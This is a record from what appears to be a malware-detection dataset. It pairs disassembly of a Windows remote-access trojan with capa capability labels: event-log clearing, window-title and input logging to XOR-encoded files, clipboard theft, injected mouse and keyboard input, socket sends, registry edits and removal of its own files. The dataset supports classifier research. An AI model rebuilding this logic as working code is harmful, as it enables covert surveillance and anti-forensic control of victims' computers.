joyce8/EMBER2024-capa huggingface dataset:
Function at 0x594a1f0
Capabilities:
Create process on windows
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x154
push ebx
xor ebx, ebx
cmp eax, ebx
jne 0x594a2aa
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], bl
push 0x100
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x5c]
push str.Program_FilesInternet_ExplorerIEXPLORE.EXE
push ecx
mov byte [esp + 0x67], bl
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [sym.imp.MSVCRT.dll__iob]
lea edx, [esp + 0x4c]
mov dword [esp + 0x40], eax
push edx
lea ecx, [eax + 0x20]
add eax, 0x40
mov dword [esp + 0x4c], eax
lea eax, [esp + 0xc]
push eax
push ebx
push ebx
push ebx
push 1
mov dword [esp + 0x5c], ecx
push ebx
push ebx
lea ecx, [esp + 0x7c]
push ebx
push ecx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x5c], 1
mov word [esp + 0x60], bx
mov word [esp + 0x62], bx
mov dword [esp + 0x64], ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
xor al, al
pop ebx
add esp, 0x154
ret
mov edx, dword [esp + 0x15c]
push 1
push ebx
push ebx
push edx
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor al, al
pop ebx
add esp, 0x154
ret

Function at 0x594a2d0
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x594a320
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x594a307
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret

Function at 0x594a530
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x596060c
test eax, eax
jbe 0x594a574
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x594a554
pop esi
pop ebp
mov ecx, ebx
call fcn.0594bd40
pop edi
pop ebx
ret

Function at 0x594a580
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0
push 2
push 0x59676bc
push esi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x594a5b2
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x594a5b2
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
pop esi
ret
mov eax, 1
pop esi
ret
Function at 0x594a5c0
Capabilities:
Enumerate processes

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
push pe_nt_image_headers32
mov dword [esp + 0x14], esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
push edi
push esi
mov dword [edi], pe_nt_image_headers32
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x594a66b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x594a66b
mov ebp, dword [esp + 0x18]
mov esi, dword [sym.imp.MSVCRT.dll__strupr]
push ebp
lea ebx, [edi + 0x24]
call esi
add esp, 4
push eax
push ebx
call esi
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jbe 0x594a632
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret
mov eax, dword [esp + 0x10]
push edi
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x594a66b
push ebp
call esi
add esp, 4
push eax
push ebx
call esi
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
ja 0x594a627
mov ecx, dword [esp + 0x10]
push edi
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x594a641
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret

Function at 0x594b060
Capabilities:
Delete file
Get common file path
Move file
Terminate process

Disassembly:
sub esp, 0x618
push ebx
push ebp
push esi
push edi
mov ebx, ecx
push str.Default
call fcn.05950f10
add esp, 4
mov ebp, eax
lea eax, [esp + 0x31c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x31c]
push str.BAudioListen.dll
push ecx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x31c]
push edx
call edi
lea eax, [esp + 0x218]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x218]
push str.BWebCam.dll
push ecx
call esi
lea edx, [esp + 0x218]
push edx
call edi
lea eax, [esp + 0x10]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str.MODIf.html
push ecx
call esi
lea edx, [esp + 0x10]
push edx
call edi
lea eax, [esp + 0x524]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x420]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0x165
lea edx, [esp + 0x420]
push eax
push edx
lea eax, [esp + 0x11c]
push str._s_x.log
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x114]
lea edx, [esp + 0x524]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea eax, [esp + 0x118]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push str.BITS
push ebp
push str.a16dbe4a9d11393dbb5668d57abe2357
call fcn.059593f0
add esp, 0xc
add ebx, 0x110
push ebx
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
pop edi
pop esi
pop ebp
pop ebx
nop
nop
Function at 0x594b580
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Write file on windows

Disassembly:
sub esp, 0x114
push ebx
mov al, 0x6f
push ebp
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push edi
lea eax, [esp + 0x20]
push 0x104
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [0x596a218]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea eax, [esp + 0x34]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], 0
call dword [0x596a208]
cmp eax, 0x3200000
jae 0x594b62a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x128]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x594b659
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x594b64d
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [0x596a1e0]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret

Function at 0x594b690
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push esi
push edi
mov ecx, 0x100
xor eax, eax
mov edi, 0x596a230
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x596a230
push eax
mov dword [0x596a630], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x596a22c]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x596a630]
cmp eax, ecx
je 0x594b78b
push 0x596a230
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x594b77f
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x12]
mov ecx, dword [esp + 0x10]
and edx, 0xffff
push 0x596a230
and eax, 0xffff
push edx
mov edx, dword [esp + 0x16]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x16]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x34]
push str._r_n_r_n________________end__________________r_n_r_n________begin__________d__d__d___d:_d:_d_r_n__
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x3c]
push eax
call fcn.0594b580
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x596a230
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x596a630]
mov dword [0x596a22c], ecx
mov eax, esi
pop edi
pop esi
add esp, 0x410
ret
Function at 0x594bbf0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Read file on windows

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [0x596a218]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x594bcd1
push esi
push edi
push ebp
call dword [0x596a208]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x594bcba
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x594bcac
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.0594bb90
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [0x596a1e0]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret

Function at 0x594bed6
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x595e4c1
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
lea ecx, [esi + 4]
call sub.MFC42.DLL_CString::CString_3
xor edi, edi
lea ecx, [esi + 8]
mov dword [esp + 0x14], edi
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0xc]
mov byte [esp + 0x14], 1
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x10]
mov byte [esp + 0x14], 2
call sub.MFC42.DLL_CStringArray::CStringArray
lea ecx, [esi + 0x24]
mov byte [esp + 0x14], 3
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x28]
mov byte [esp + 0x14], 4
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x2c]
mov byte [esp + 0x14], 5
call sub.MFC42.DLL_CString::CString_3
lea ecx, [esi + 0x30]
mov byte [esp + 0x14], 6
call sub.MFC42.DLL_CString::CString_3
mov dword [esi + 0x34], 0x5960628
mov dword [esi + 0x38], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x3c], edi
lea ecx, [esi + 0x80]
mov byte [esp + 0x14], 8
call sub.MFC42.DLL_CString::CString_3
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
push eax
push ecx
push edx
mov ecx, esi
mov byte [esp + 0x20], 9
mov dword [esi], 0x5960624
call fcn.0594c0d0
mov ecx, dword [esp + 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 0xc
Function at 0x594bfa0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x595e53b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
mov dword [esi], 0x5960624
lea ecx, [esi + 0x80]
mov dword [esp + 0x1c], 8
call sub.MFC42.DLL_CString::CString
lea ebx, [esi + 0x34]
mov dword [esp + 0x10], ebx
mov dword [ebx], 0x5960628
mov edi, dword [ebx + 4]
mov byte [esp + 0x1c], 9
test edi, edi
je 0x594c01c
mov eax, dword [ebx + 8]
mov ecx, eax
dec eax
test ecx, ecx
je 0x594c010
push ebp
lea ebp, [eax + 1]
mov edx, dword [edi]
push 0
mov ecx, edi
call dword [edx]
add edi, 0x10
dec ebp
jne 0x594c001
pop ebp
mov eax, dword [ebx + 4]
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
lea ecx, [esi + 0x30]
mov dword [ebx], 0x596063c
mov byte [esp + 0x1c], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x2c]
mov byte [esp + 0x1c], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x28]
mov byte [esp + 0x1c], 4
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x24]
mov byte [esp + 0x1c], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 0x10]
mov byte [esp + 0x1c], 2
call fcn.0595dde6
lea ecx, [esi + 0xc]
mov byte [esp + 0x1c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 8]
mov byte [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esi + 4]
mov dword [esp + 0x1c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x594de90
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5960670
push 0x5959b28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x594dec7
jmp dword [eax*4 + 0x594e010]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x594dec7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x594dec7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x594dec7
cmp edx, 2
jbe 0x594df50
cmp edx, 4
jne case.default.0x594dec7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x594dec7
jmp 0x594dfd4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x594dec7
jmp 0x594dfd4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x594dec7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x594dec7
jmp 0x594dfd4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x594dec7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x594dec7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0594dffb
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x594f950
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x594fb01
call fcn.05950680
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x594fb01
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x594f9cd
cmp eax, 0x208
ja 0x594f9cd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x594fa7d
je 0x594fa65
cmp eax, 0x105
ja 0x594fa39
je 0x594fa1b
sub eax, 0x100
je 0x594f9fd
dec eax
je 0x594fa1b
sub eax, 3
jne case.0x594fa87.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x594fa87.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x594fa87.521
sub eax, 0x201
je 0x594fa56
dec eax
jne case.0x594fa87.521
push 0
push 0
push 0
push 0
push 4
jmp 0x594faea
push 0
push 0
push 0
push 0
push 2
jmp 0x594faea
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x594faea
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x594fa87.521
jmp dword [eax*4 + 0x594fb08]
push 0
push 0
push 0
push 0
push 8
jmp 0x594faea
push 0
push 0
push 0
push 0
push 0x10
jmp 0x594faea
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x594faea
push 0
push 0
push 0
push 0
push 0x20
jmp 0x594faea
push 0
push 0
push 0
push 0
push 0x40
jmp 0x594faea
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x594f999
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x594fb30
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x594fb98
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x594fb90
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x594fba0
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x594fc32
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x594fbd1
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x76
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.0594bd70
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x59500a0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x1c
push ebx
push ebp
mov ebp, dword [esp + 0x28]
push esi
push edi
xor edi, edi
cmp ebp, edi
mov esi, ecx
je 0x5950249
cmp dword [esi + 0x1c], edi
je 0x5950249
call fcn.05950750
lea ebx, [esi + 4]
push 1
push ebx
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.059504c0
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea ecx, [esp + 0x10]
push 8
push ecx
mov ecx, esi
call fcn.059504c0
lea edx, [esp + 0x18]
mov dword [esp + 0x18], 0x14
push edx
call dword [sym.imp.USER32.dll_GetCursorInfo]
test eax, eax
je 0x5950133
cmp dword [esp + 0x1c], 1
jne 0x5950133
mov ecx, dword [esp + 0x20]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x5950123
inc edi
add eax, 4
cmp edi, 0x10
jl 0x5950116
push ecx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp edi, 0x10
je 0x5950133
mov eax, edi
jmp 0x5950136
or eax, 0xffffffff
mov byte [esp + 0x30], al
lea eax, [esp + 0x30]
push 1
push eax
mov ecx, esi
call fcn.059504c0
cmp byte [ebx], 2
jne 0x595019e
mov eax, dword [esi + 0x68]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
mov eax, dword [esi + 0x44]
push ecx
mov ecx, dword [esi + 0x80]
push edx
push eax
push ecx
mov ecx, esi
call fcn.05950790
mov edx, dword [esi + 0x68]
mov ecx, dword [esi + 0x20]
mov eax, dword [edx + 0x14]
mov edx, dword [esi + 0x60]
push eax
mov eax, dword [esi + 0x1c]
add ecx, eax
mov eax, dword [esi + 0x78]
push ecx
push edx
push eax
mov ecx, esi
call fcn.059507f0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebp], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
mov edi, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
cmp edi, eax
jge 0x59501ba
push edi
mov ecx, esi
call fcn.05950260
mov eax, dword [esi + 0x2c]
add edi, 0xe
cmp edi, eax
jl 0x59501a8
mov ecx, dword [esi + 0x20]
mov dword [ebp], ecx
mov eax, dword [esi + 0x30]
add eax, 3
mov ecx, 0xe
cdq
idiv ecx
mov eax, dword [esp + 0x10]
mov dword [esi + 0x30], edx
mov ecx, dword [0x596a63c]
cmp ecx, eax
mov ecx, dword [esp + 0x14]
jne 0x59501fa
cmp dword [0x596a640], ecx
jne 0x59501fa
cmp dword [ebp], 0xa
jne 0x59501fa
mov dword [ebp], 0
jmp 0x5950205
mov dword [0x596a63c], eax
mov dword [0x596a640], ecx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
lea edi, [esi + 0x14]
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x5950232
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x32
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x5950221
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1c
ret 4